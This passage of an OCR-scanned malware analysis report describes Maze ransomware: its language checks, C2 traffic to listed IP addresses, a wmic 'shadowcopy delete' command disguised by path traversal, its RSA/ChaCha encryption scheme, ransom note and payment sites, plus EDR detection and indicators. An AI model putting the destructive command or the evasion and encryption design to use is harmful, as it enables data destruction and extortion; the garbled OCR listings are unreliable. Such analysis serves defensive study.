API calls: GetUserDefaultUlLanguage, GetSystemDefaultLangID,
GetUserDefaultLanglID. If the returned result is in the white-list of
languages below, it avoids encrypting the files:

Code Language
0x419 Russian
0x422 Ukrainian
0x423 Belarusian
0x428 Tajik
0x428B Armenian
0x42C Azeri (Latin alphabet)
0x437 Georgian
Ox43F Kazakh
0x440 Kyrgyz
0x442 Turkmen
0x443 Uzbek (Latin alphabet)
0x444 Tatar
0x82C Azeri (Cyrillic alphabet)
0x843 Uzbek (Cyrillic alphabet)
0x7C1A Serbian
Ox1C1A Serbian (Bosnia and Herzegovina

Cyrillic alphabet)

0x081A Serbian (Latin alphabet)
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Ltext:@84290C7 loc_429DC7: ; CODE XREF: .text:loc_429DBET]

Ltext: 88429007 movzx  eax, word ptr [eax+32h]

Ltext:88429DCE cmp eax, 419h 3 Russian

LJhext:ead2aiDe jz loc_42A711

Ltext: 88429006 jnz short loc_429DDC

B L L e
JLext:8a429008 dd eD7sh

B L e

Ltextead290DC

Ltext:@842900C loc_429D0C: ; CODE XREF: .text:@8420DD6T]

Ltext 88429000 jnz short loc_429DES

et BB 200D - e
t dd 5888474h

dd BEB@eaah

. CEXNT:

Ltext:

Ltext dw @

CEextiBBA2ODES ;3 --------mmmmm e e e m e mmm e m e m——— -
Ltext:e8a4290ES

Ltext:@8429DEE loc_429DES: ; CODE XREF: .tewt:loc_429DDCT]
Ltext:88429DES movzx  edx, dx

Ltext:ea4290EE cmp edx, 422h 3 Ukrainian

Ltext:ead29DF1 jz loc_42A711

Ltext:@8429DF7 jnz short loc_429DFD

AR TBAAPANET ¢ oo oo oo

Figure 16 — Language check

Networking

For this part, a hard-coded ChaCha key is used and a new
Nonce is generated on the fly in each run.

Maze has a list of 10 hard-coded, ChaCha-encrypted IP
addresses. After the decryption of this list, Maze enumerates
the IPs and generates for each IP address a HTTP POST request.

Maze builds the URI of the request with a concatenation of
random strings from the hard-coded list. This technique is done
in order to evade signature-based network traffic protections of
IDS and IPS solutions.

The POST request contains the unencrypted Nonce and the
ChaCha-encrypted reconnaissance data.
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dext:
dext:
dext:
text:
text:
text:
text:
text:
text:
dext:
dext:
text:
text:
text:
text:
text:
text:
dext:
dext:
text:
text:
text:
text:
text:
text:
dext:
dext:
text:
text:
text:
text:
text:
text:
dext:
dext:
text:
text:
text:
text:
text:
text:
dext:
dext:
text:
text:
text:
text:
text:
text:

ea43C484
aa43C484
@a43C488
45480
aa43C48C
aa43C408
aa43C494
aa43C494
@a43C498
@a43C49C
@a43C49C
a4 SC 408
aa43C4A4
ea43C4n84
Ba43C4A5
a4 3C4AC
a4 3C4AC
aa43C468
@a43C468
45464
@a43C4E8
43460
aad43C4Ca
ea43C4Ca
@a43C4CH
a4 3CACC
@4 3C 408
45404
aa43C408
a4 3CA0C
@a43C4E8
ea43C4EL
@a43C4ER
@a43C4EC
@a43C4Fa
eadsC4rL
@a43C4rE
a4 3CAFC
aad43C588
ea43C584
@a43C588
Ba43C5aC
@a43C51e
ead5C514
@a43C518
@a43C51C
@a43C528
ea43C524
@B43C528

off_43c484

off_43C48C

off_43C494

off_a3caac

off_43C4A4

off_43C4AC

off_a3c4aBe

dd

dd
dd

dd
dd

dd
dd

dd
dd

dd
dd

dd

dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd

offset

offset
affset

affset
offset

offset
offset

affset
affset

offset
offset

offset

affset
affset
affset
offset
offset
offset
offset
offset
affset
affset
affset
offset
offset
offset
offset
offset
affset
affset
affset
offset
offset
offset
offset
offset
affset
affset
offset
offset
offset
offset

aPhp

afsp
afspx

aCgi
alsp

alspx
albo

afction
aHtml

aPhtml
ashtml

aMews

alogin
aRegister
alogout
aEdit
alContent
aPrivate
aMessages
aAccount
aview
aWebauth
aWebaccess
afrchive
aForum
aPost_@
asignin
asignout
alpdate
asupport
aTicket
aTask
aTracker
afnalytics
aCheck
aCheckout
aPayout
aWithdrawal
asepa
alreate
aTransfer
akire

¥

DATA XREF:
,-Phe
.Asp
DATA XREF:
“oaspx”
" cgi”
DATA XREF:
" jsp”
" jspx”
DATA XREF:
" o
".action”
DATA XREF:
" html"
" . phtml”
DATA XREF:
" shtml"
DATA XREF:
"news"
"login®
"register”
"logout™
"edit"”
“content”
"private™
"messages”
"account”
"wiew"
"webauth"
"webhaccess'
"archive"
"forum”
"post”
"signin®
"signout™
"update"
"support”
"ticket"
"task"
"tracker"
"analytics’
"check"”
"checkout"
"payout”
"withdrawal
"sepa”
"create”
"transter”
"wire"

sub_482BBEE4531Tr

sub_482BB8+4B1r

sub_482BBE+121r

sub_482BBEB+ATE

sub_482BBEH1Ftr

sub_482BB8+1ATr

sub_482BBE+35To0

Figure 17 - The list of the random strings used in the generation of the URI
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Address

ASCIT

o2AEQO000
o2AE0D0LDO
ozAEOQOZ20
OzAEOQOZ20
02AaE0040
o2AEQQRD
o2AE0D0ED
o2AEQDFD
o2AEQDS0
Oz AEQOS0

91.218.114.4..91
»218.114.11..71.
218.114.25..531.2
15.114.26..91.21
2.114.31..21.21%8
L114.32..91.218.
114.27..91.2158.1
14.358..91.218.11
4. 7. .91.218.114

Figure 18 - The list of IP addresses after decryption
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Time

13.129918
21.689448
21.741038
21.922178
21.971185
22.888074
22.129685
22.231549
22.279139
53.483221
53.768036
53.8@09925
53.967486
54.814613
54.127967
54.1773@8
54.312717
54.359812
64.871678
64.919389
65.841482
65.2084039
65.251387
65.468698

65.643346
fE TEIALT

Source Destination Protocol  Info

192.168.8.254  91.218.114.4 HTTP POST /update/gcnwuj.asp?wjb=x8yspc=2r28i=7i6780gpx=4j52 HTTP/1.1 (application/x-www-Torm-urlencoded)
192.168.8.254 91.218.114.4 HTTP POST /update/gcnwuj.asp?wjb=xfyspc=2r2&i=7i6780gpx=47j52 HTTP/1.1 (application/x-www-form-urlencoded)
91.218.114.4 192.168.8.254 HTTP HTTP/1.1 484 Not Found (text/html)

192.168.8.254 91.218.114.11 HTTP POST /gesofn.do HTTP/1.1 (application/x-www-form-urlencoded)

91.218.114.11 192.168.8.254 HTTP HTTP/1.1 484 Not Found (text/html)

192.168.8.254 91.218.114.25 HTTP POST /xgnukgycom.jsploqtr=82y31578vrg=2p@2cke2abpy=vv5s HTTP/1.1 (application/x-www-form-urlencoded)
91.218.114.25 192.168.8.254 HTTP HTTP/1.1 483 Forbidden (text/html}

192.168.8.254 91.218.114.26 HTTP POST /content/mus.php?voe=bh2hl&qmg=74563v8@ HTTP/1.1 (application/x-www-form-urlencoded)
91.218.114.26 192.168.8.254 HTTP HTTP/1.1 484 Not Found (text/html)

192.168.8.254  91.218.114.4 HTTP POST /news/archive/kvlptovyni.php?q=612u&l=q&v=83el HTTP/1.1 (application/x-www-form-urlencoded)
192.168.8.254 91.218.114.4 HTTP POST /news/archive/kvlptovyni.php?q=612u&l=gq@v=83el HTTP/1.1 (application/x-www-form-urlencoded)
91.218.114.4 192.168.8.254 HTTP HTTP/1.1 484 Not Found (text/html)

192.168.8.254 91.218.114.11 HTTP POST /fevv.jspx?kht=m376&riwp=c6lko=3i4x5c HTTP/1.1 (application/x-www-form-urlencoded)
91.218.114.11 192.168.8.254 HTTP HTTP/1.1 484 Not Found (text/html)

192.168.8.254 91.218.114.25 HTTP POST /mgrccre.jspfu=Bglpi HTTP/1.1 (application/x-www-form-urlencoded)

91.218.114.25 192.168.8.254 HTTP HTTP/1.1 483 Forbidden (text/html}

192.168.8.254  91.218.114.26 HTTP POST /fumrtfo.cgi HTTP/1.1 (application/x-www-form-urlencoded)

91.218.114.26 192.168.8.254 HTTP HTTP/1.1 484 Not Found (text/html)

192.168.8.254  91.218.114.32 HTTP POST /messages/check/aw.action?xcn=vg6lq3e@ HTTP/1.1 (application/x-www-form-urlencoded)
91.218.114.32 192.168.8.254 HTTP/X.. HTTP/1.1 484 Not Found

192.168.8.254 91.218.114.37 HTTP POST /webauth/hehrjbx.phtml?gt=8t1&mlf=42cq3 HTTP/1.1 (application/x-www-form-urlencoded)
192.168.8.254 91.218.114.37 HTTP POST /fwebauth/hehrjbx.phtml?gt=0t1&8m1f=42cq3 HTTP/1.1 (application/x-www-form-urlencoded)
91.218.114.37 192.168.8.254 HTTP HTTP/1.1 484 Not Found (text/html)

192.168.8.254 91.218.114.38 HTTP POST /w.shtml HTTP/1.1 (application/x-www-form-urlencoded)

192.168.8.254  91.218.114.38 HTTP POST /w.shtml HTTP/1.1 (application/x-www-form-urlencoded)

a1l 71! 114 29 147 1£8 4O IEA HTTD HTTD /1 1 247 Movrad Tamanezaes Tar fHawtihtml +aowvt fhtmlh

Figure 19 - HTTP POST requests done by Maze

M Wireshark . Follow HTTP Stream (tcp.stream eq 4) - analysis.pcap

=o)X

POST fupdate/genwuj.aspfujb=siyspc=2r2&4i=7ic7ogpx=4]52 HTTP/L.1

Content-Type: application/x-www-ferm-urlenceded

User-ggent: Mozilla/s.@ (Windows MT 6.1; WOWE4; Trident/7.@; AS; rv:ll.@) like Gecko
Host: 91.2158.114.4

Content-Length: 285

Cache-Control: no-cache

Server: nginx

Date: Mon, 2@ Jan 2022 @8:43:31 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 215

Connection: keep-alive

Keep-alive: timeout=6@

<!DOCTYPE HTHL PUBLIC "-f/IETF//DTD HTML 2.@//EN">

<html><head:

<titlex4® Not Found</title>

<fhead»<body>

<hl>Mot Found</hl>

<p>The requested URL fupdatefgcnwuj.asp was not found on this server.</p>
<fbody></html>

1 clienr pkv, 3 serverpkr, 1 rom.

|Entire conversation (851 bytes) ﬂ

p_.vk.

000 "

I&..1.o.5. . P . Mwi S0oo0o00 @ L.D.o#k[>. % . {H. ... W5sem. a1+ 12, L FT. . s,

Fo o tHEfo_ocooBhoalooo

Zoooo MocoooaoBoooBoooEloatPooo@ialPooooo gt e gy JHRLB gldSsark2* DL el TEMQL p ML AL LU HTTRSLL L 424 Not Found

Find: ||

I | | I |
Figure 20 - An HTTP POST request done by Maze. Note the encrypted data in the request's body.

Show and sawe data as |ASCIT hd

Find et

20




Encryption

Shadow copy deletion

Before starting the encryption scheme, Maze makes sure that file
recovery will not be possible. It does that by deleting the shadow copies
of the machine using WMI.

The shadow copy is a technology created by Microsoft that can create
backup copies or snapshots of computer files and volumes, even when
they are in use.

To delete the shadow copies, the Maze process has to run at a high
integrity level. To do so, Maze checks its integrity level using
GetSidSubAuthority. If it’s below medium, it calls ShellExecuteExW to
run wmic.exe as admin, with a command line to run Maze. The user will
be prompted with a window asking if it allows to run wmic.exe as
admin.

Maze is using a stealth technique— Path traversal. Instead of creating a
process of wmic.exe using its normal path, it generates a path
composed of bogus folders and “..\” (dot-dot-slash). The “..\” command
goes back to the parent folder. The generated path has random folder
names so it is unique each time Maze runs.

This technique can mislead security products which monitor specific
command lines running WMI.

Note that in the case where Maze runs in a medium integrity level, it
will continue its execution without being able to delete the shadow
copies — this is actually a bug. The check should have been if the
integrity level is less or equal to medium.
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00415711
004157158
00415714
0041571E
0041571C
0041571E
00415720
00415722
00415724
00415726
00415728
00415725
004157 2B
004157320
00415736
00415738
004157 3C
00415740

00415745
4

g02424 20000000

S9EL

Eo

51

&4 00

&4 00

&A 00

&4 00

&4 00

BA 00

Ly

24 00

B3 F2LF4100
~ 0OF&4 SCE530200
= F5 0A

FFL1E42Z0

43002F03

aooo
=r-0OFE5s FARI0200
= 7404

Tea eax,dword ptr ss:[[esp+30]
Mo ecx 250

push eax

push ecx

push o
push o0
push o
push o
push o0
push o
push e
push o
push maze.d415772

je <IMP.& CreateProcesswados
jne maze.415742

dd CO4C1EFF

dd 23F0043

dw 0O

jne <IMP.& CreateProcesshWads
ie maze.41574E

d1i

Jump 15 taken
<IMP.& CreateProcesswadis

LEEREI00415742 maze.exe:$15742 #14EB42

Wouwmpt | @Wouwpz | @Woumps | @oump4 @Woumps | @ watch1 | el
Address | UNICOOE

02CEQDOD [ M ivxbhhyyrvoaens 1doh . N S T Ndows s res TT N agh . oM. B S WS TEM2 2% M. .
02CEQDS0 | Swhemt s bmb™ T, e G Coexe' shadowcopy delete. o s vne e

A>CFNTAN

Figure 19 - Using wmic.exe to delete the shadow copies, using path traversal to
disguise the command
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Keys generation & file encryption

Maze uses both RSA and ChaCha algorithms in its encryption scheme.
ChaCha algorithm is a variation on the Salsa20 algorithm but is known
to be better against crypto-analysis and has slightly better performance

We will describe the encryption scheme step by step.

Notes:

e Both ChaCha and RSA algorithm encrypt data with a specific block
size. Hence, few rounds are required for encryption. In our
equations we omitted iterations to simplify the writing.

e The ChaCha algorithm uses the constant string “expand 32-byte
k”, since the key size is 0x20 (256 bits) long.

e A key that has been created and encrypted — will be destroyed to
prevent its recovery.
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General keys generation and encryption of keys

Per System

ChaCha RSA
Encryption Encryption

P

C

> —>

Private

Private

KeyChaCha SPublic

Figure 20 - General encryption scheme

1. An RSA pair of public and private keys is generated on the fly
using CryptGenKey. We mark them by Cp,y,p1ic and Cyrivate-

2. The hard-coded server key is imported using CryptimportKey. We
mark it by S,y p1ic - The private server key resides only in the maze
server, we mark it by Syripate-

3. Using CryptGenRandom, A key and a nonce are generated for the
input of the ChaCha algorithm. We mark them by Key and
Nonce.
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4. Cpripate is encrypted using the ChaCha algorithm with Key and
Nonce.

ChaCha(Cyrivates K€y, Nonce) = ENCehacha(Cprivate)

5. Both Key and Nonce are encrypted using the RSA algorithm with

Spublic:
 RSA(Key,Spupiic) = ENCrsa(Key)

o RSA(Nonce,Spubll-C) — ENCgrs4(Nonce)

After the generation of the general keys, Maze Checks in
%ProgramData% if a file named ‘datal.tmp’ exists. If it doesn’t — it
creates this file and writes a buffer to it with the magic number
0x0000000066116166.

It also stores ENCepacha(Cprivate), ENCrsa(Key), ENCgrsa(Nonce)
and Cyypiic (All Base-64 encoded) in datal.tmp, but in a stealthy way: It
uses NtSetEaFile to add these values to the extended attributes of the
file and NtQueryEaFile to retrieve them. Extended attributes are
properties of the file used to store metadata.

If ‘datal.tmp’ exists, Maze will retrieve Cpyp1ic from it and continue to
its regular flow. This ensures that each time Maze runs on the same
machine, the same Cyp,,5;;c Will be used, to allow decryption of the files.

After the general keys setup is done, Maze begins its file encryption
procedure.
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File keys generation and encryption of files

Per File

ChaCha RSA
Encryption Encryption

o 2

FiIeKeyChaCha

é

CPuinc

o

FiIeKeyChaCha

Figure 21 - File encryption scheme

The following scheme runs once per file. Network shares files will also
be encrypted, depending on the command line.

1. File; is read from the disk using CreateFileMappingW and
MapViewOfFile. Where i is the index of the current file.
0 < i < Number of Files for encryption

2. Using CryptGenRandom, A key and a nonce are generated for the

input of the ChaCha algorithm per file. We mark them by
FileKey; and FileNonce;.
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3.

File; is encrypted in memory using the ChaCha algorithm with
FileKey; and FileNonce;:

ChaCha(File;, FileKey;, FileNonce;) = ENCcpacna (File;)

4,

The RSA algorithm is used with the Cy,,5;; to encrypt the
concatenation of FileKey; and FileNonce;:
RSA(strcat(FileKey;, FileNonce;), Cpubll-c)

— ENCgsa(strcat(FileKey;, FileNonce;))

ENCchacna(File;) is written to the disk by calling
UnmapViewOfFile, overwriting the original file. Finally, the
following data is concatenated with the magic number
0x0000000066116166 and appended to the end of the File;:
ENCggy(strcat(FileKey;, FileNonce;)) + magic_number
The file extension appended to the encrypted file is randomly
generated.

The following folders and their sub-folders, files and file extensions are
excluded from encryption:

Folders:

Program files
Windows
Games

Tor Browser
ProgramData
cache2\entries
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e Low\Content.IE5

e User Data\Default\Cache

e All Users

e |ETIdCache

e Local Settings

e AppData\\Local

e Ahnlab (South-Korean security software company)

e {OAFACED1-E828-11D1-9187-B532F1E9575D} (A CLSID that
represents a shortcut folder)

e DECRYPT-FILES.txt (The ransom note)
e autorun.inf

e boot.ini

e desktop.ini

e ntuser.dat

e iconcache.db

e bootsect.bak

e ntuser.dat.log

e thumbs.db

e Bootfont.bin

File extensions

e Ink
® exe
® sys
o dll
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After Maze finishes to encrypt the files, it displays a personal
message directed to the user with his username, alerting him that
all his files had been encrypted using RSA-2048 and ChaCha
algorithms.

This is done in the following way: It creates a hidden window
using CreateWindowExW. Then it writes the message to the
window with the DrawTextW function. Next, it captures the
window and saves it as a Bitmap file in the Temp folder —
“000.bmp”. Finally, Maze changes the Desktop background to the
image using SystemParametersinfoW.

Figure 22 - Maze ransom demand wallpaper
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Maze creates a file called DECRYPT-FILES.txt in each folder it encrypts
files. It alerts the user that his file has been encrypted and gives him
instructions how to pay the ransom and decrypt his files. Each user gets
his own web page at the Maze domain — both in the dark web and in
the regular web. The end of this file contains the maze key which is
crucial for the decryption procedure.

The maze key is a base-64 encoded string composed of the
concatenation of the following data: ENCcpacna (Cprivate)s
ENCrsa(Key), ENCrsq(Nonce) and the system information collected
in the reconnaissance stage.

In addition, a voice message is played to the user, alerting him of the
encryption.
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] DECRYPT_FILES.txt - Motepad - O b

File Edit Format View Help
httention!

All your files, documents, photos, databases, and other important data are safely encrypted with reliable algorithms.
You cannot access the files right now. But do not worry. You have a chance! It is easy to recover in a few steps.

The only method to restore your files is to purchase a unique for you private key which is securely stored on our servers.
To contact us and purchase the key you have to visit our website in a hidden TOR network.

There are general 2 ways to reach us:
1) [Recommended] Using hidden TOR network.

a) Download a special TOR browser: https://www.torproject.org/

b) Install the TOR Browser.

c) Open the TOR Browser.

d) Open our website in the TOR browser: http://acacugmutagkwctu.onion/86caB96da283c81

e) Follow the instructions on this page.
2) If you have any problems connecting or using TOR network

a) Open our website: https://mazedecrypt.top/86caB96da283c81
b) Follow the instructions on this page.

Warning: the second (2) method can be blocked in some countries. That is why the first (1) method is recommended to use.

On this page, you will see instructions on how to make a free decryption test and how to pay.
Also it has a live chat with our operators and support team.

We understand your stress and worry.

So you hawve a FREE opportunity to test a service by instantly decrypting for free three files on your computer!

If you have any problems our friendly support team is always here to assist you in a live chat!

< >
Windows (CRLF) Ln1, Col 1 100%

Figure 24 - The ransom note and the decryption instructions

Nj DECRYPT_FILES.txt - Motepad - O X
File Edit Fermat View Help

THIS IS A SPECIAL BLOCK WITH A PERSONAL AND CONFIDEMTIAL INFORMATION! DO NOT TOUCH IT WE NEED IT TO IDENTIFY AND AUTHORIZE YOU

---BEGIN MAZE KEY---

I8YDB+IQxFFShT2uk+PjlvabaMkVKKslu3MEm9aEgludytveilcbbzboYbPPx4YnyYnr7K@zgfvmHuTDh] /LI4HsdPEASWpMFTESDCFgBz jUDghTwwBaxWdnBCIVE/
glugqTw+Gd1bHawx8Y7aP5skWoulImCFnkKVTJo3iVe+10HSIFBzREktPAbnv1G] ZKGXx8alCMscEC2FaRx+2e91s+0G5QRPs1GFS /UZBwyESj8hpojRivMIxYnyVECHM1
19M8e2G69WLFsCDNVF77r@R5h3h986GIM1+DEDFCFNQ7HPAFCOFUIPNI1ReGZgl+xvK4L TedgFopd 1 3IH/ SKUUTXNCQRK2QIA4dBkOUI j68KBDtZxIMLonoOT 3metw

---END MAZE KEY---
Figure 23 - The maze key
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After you access the Maze website, you are requested to upload
DECRYPT-FILES.txt. The attacker needs this file since it contains the
Maze key, which is later used for the decryption procedure.

The website informs the victim about the ransom demand, its cost and
how to pay it using Bitcoin. In addition, the attacker lets you upload and
decrypt three files for free, as a proof of work. The attacker is willing to
decrypt only image files as a proof.

The Maze website has a chat that lets the victim communicate with the
attacker. The victim can chat with the attacker to get help or even to
negotiate the payment fee.

Maze support system

ow further usage of it.

ith further instructions.

olution to

military

crack.

Figure 25 - Main maze website
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Test Decrypt Buy Bitcoins About us

After the fee will be doubled.
To recover your files, you must pay the fee. Welcome again! We are ready 1o help you
Your current fee (UsD) 03:42:27 PM | Today
You must hurry up because your 50% discount will expire after the counter at the top of this page "
i

will reach zero. If you fail to pay until that time, the fee will be increased x2 (doubled), so if it was
1200 USD it will become 2400 USD.

You can send the money in chunks (parts), the fee will be recalculated on each successful

03:43:25 PM | Taday

Malware analysts, when will you stop ddosing our

transaction.
chatwith your tries?

Transaction will be completed after 3 confirmations from the network.
03:47:27 PM | Today

To pay the fee you must buy bitcoin, and send exactly this amount of bte BTC to
\JL“J| €55,

To see how to buy the bitcoins, dick at the tab menu on top of the page.

We are providing 3 test decrypts, to prove that we can recover your files

Click at the menu on top of this the page to dearypt 3 files for free.

Figure 26 - Chatting with the attacker. He is right! We really are malware analysts

Chat Buy Bitcoins  About us

Test Decrypt

We are providing 3 test decrypts per machine. That means you can automatically decrypt 3 files here
This option is provided to prove to you, that we can decrypt vour files.

Maximum file size is 2 MB ( megabytes ).

Attention! As a free proof, we are decrypting only image files (bmp, jpg, gif, pnag)

I No file chosen

No File No File No File

Figure 27 - We can upload 3 images to test the decryption




Decryption

Maze uses a strong combination of symmetric and asymmetric
encryption to prevent the victim from decrypting the files without
paying the ransom.

In order to decrypt the files, the attacker must use the victim’s Maze
key and its own private key - Syripate - Only the attacker has the server

private key. Therefore he is the only one that can decrypt the files.

Of course, the attacker won’t give his S,,,iyqte — because then the victim
can spread the key and allow other victims to decrypt their files without
paying the ransom. The attacker can give the victim either Key, Nonce

or Cprivate-

Let’s follow the decryption of a particular File;. An asterisk (*) denotes
an encrypted data.

1.

¢ RSA(Key*:Sprivate) - Key

o RSA(Nonce*,Sprimte) — Nonce
2. ChaCha(Cprivate*;KeyJ Nonce) - Cprivate
3. RSA([FileKeyi,FileNoncei]*, Cpn-vate) -

FileKey;, FileNonce;
4. ChaCha(File;", FileKey;, FileNonce;) — File;
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Detection & Prevention of Maze by Cyberbit’s
EDR

Cyberbit’s EDR Detection and Prevention capabilities are able to stop
the most advanced ransomware —including Maze.

In the graph we can see the execution flow of Maze: Maze is
running, then it executes another instance of itself at a high integrity
level.

To run at a high integrity level, Maze prompts the user to grant it the
required permission.

Then it tried to encrypt the files on the victim’s machine but
Cyberbit’s EDR blocked it.

You can also see the WMI ‘shadowcopy delete’ command executed,
with the bogus path. Our product can detect this command in spite
of this obfuscation.
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maze.exe

Reflective DLL loading

0]

maze.exe

O

Modify shadow copy Ransomware blocked Modify shadow copy

04 u

wmic.exe 12 Entities wmic.exe

Figure 27 — Prevention of Maze (ransomware blocked)
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Network DNS Related Events

£} Process | wmic.exe

FILE
cwindows\system32\whem\wmic.exe

PROCESS 1D PROCESS CREATION TIME
3772 2020:02-11T13:36:02.000Z

USER INTEGRITY LEVEL
arya-stark\user Medium

COMMAND LINE

"Ckkjuavsl L AWindowshdysh, \system32hgibext. L wbemivg sy iwmic exe”
shadowcopy delete

MD5 All Hash =
fd9028350eaef4001799287736f22028

SIGHATURE

microsoft windows verification

pca/microsoft windows

REPUTATION
None

DETECTION TIME
11/02/2020 15:36

Figure 28 - the wmic.exe 'shadowcopy delete' command executed with the bogus path
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10Cs

SHA256:
ecd04ebbb3df053cedefa2b73912fd4d086d1720f9b410235ee9cle529e

a52a2

Files:

e DECRYPT-FILES.txt (in every folder where files were encrypted)
e %ProgramData%\datal.tmp
o %TEMP%\000.bmp

38



